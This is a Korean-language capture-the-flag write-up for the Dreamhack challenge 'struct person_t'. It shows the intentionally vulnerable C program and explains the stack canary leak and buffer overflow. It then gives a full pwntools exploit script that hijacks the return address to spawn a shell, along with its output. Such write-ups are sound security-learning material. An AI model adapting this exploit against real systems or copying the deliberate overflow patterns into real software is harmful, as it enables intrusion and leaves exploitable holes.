[dreamhack] struct person_t writeup

1. 문제

thumbnail
struct person_t

I created a program with my own structure, struct person_t! 🧑‍🦱

https://dreamhack.io/wargame/challenges/1866

2. 풀이


#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>

struct person_t {
    char nationality[32];
    char name[56];
    double height;
    int age;
    char male_or_female[4];
};

void get_shell() {
    execve("/bin/sh", 0, 0);
}

void read_input(char *ptr, size_t len) {
    ssize_t readn;

    readn = read(0, ptr, len);
    if (readn < 1) {
        puts("read() error");
        exit(1);
    }

    if (ptr[readn - 1] == '\n') {
        ptr[readn - 1] = '\0';
    }
}

int main() {
    struct person_t person;

    setvbuf(stdin, 0, _IONBF, 0);
    setvbuf(stdout, 0, _IONBF, 0);

    printf("Enter name: ");
    read_input(person.name, 56);

    printf("Enter age: ");
    scanf("%d", &person.age);

    printf("Enter height: ");
    scanf("%lf", &person.height);

    printf("Enter M (Male) or F (Female): ");
    read_input(person.male_or_female, 5);

    printf("Hi %s.\n", person.name);

    printf("What's your nationality? ");
    read_input(person.nationality, 128);

    return 0;
}

person_t 구조체가 존재하고, 여기서 name, age, height, male_or_female을 입력받은 후, name을 출력해준다.

이후 nationality에 입력을 받는데, 구조체의 크기는 108바이트임에도 불구하고 128바이트를 입력받을 수 있어서 bof가 발생한다.

그리고 male_or_female을 입력할 때도 4바이트 크기인데 5바이트를 입력할 수 있다.


사실상 스택에 구조체만 존재하고, 이 뒤에 canary가 있기 때문에 첫번째 name출력 때 leak을 해야한다. 그런데 구조체에 모든 값을 꽉채우고, 특히 male_or_female에 5바이트를 입력할 수 있기 때문에 canary의 1바이트 \x00도 덮어씌울 수 있고 이에 따라 canary leak이 가능하다.

이렇게 얻은 canary를 스택 더미 뒤에 덮고 리턴 주소에는 get_shell의 주소를 덮어주면 끝이다.

다만, 이 바이너리가 stripped가 되어있어서 디버깅 심볼이 아무것도 보이지않는다. 그래서 나는 일단 IDA를 써서 get_shell 함수주소를 구하기는 했는데 (스택에서의 구조체 위치도 구하기 편했다) objdump -d chall을 이용해서 execve함수가 위치하는 곳을 찾아서 할 수도 있다.

from pwn import *

p = process("./chall")
p = remote("host8.dreamhack.games", 22061)
elf = ELF("./chall")

p.sendafter(b": ", b"a" * 56)
print(pow(2,16))
p.sendlineafter(b": ", str(pow(2,32) - 1))
p.sendlineafter(b": ", str(3.14))
p.sendafter(b": ", b"abcde")

p.recvuntil(b"abcde")
canary = u64(b"\x00" + p.recv(7))


payload = b"a" * 104
payload += p64(canary)
payload += b"b" * 8
payload += p64(0x401216)
p.sendafter(b"? ", payload)

p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/struct_person_t/deploy$ python3 e_chall.py 
[+] Starting local process './chall': pid 2928722
65536
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/struct_person_t/deploy/chall'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
/home/ubuntu/dreamhack/level2/struct_person_t/deploy/e_chall.py:9: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b": ", str(pow(2,32) - 1))
/home/ubuntu/dreamhack/level2/struct_person_t/deploy/e_chall.py:10: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.sendlineafter(b": ", str(3.14))
[*] Switching to interactive mode
$ id
uid=1001(ubuntu) gid=1001(ubuntu) groups=1001(ubuntu),4(adm),24(cdrom),27(sudo),30(dip),105(lxd),114(docker)

해결~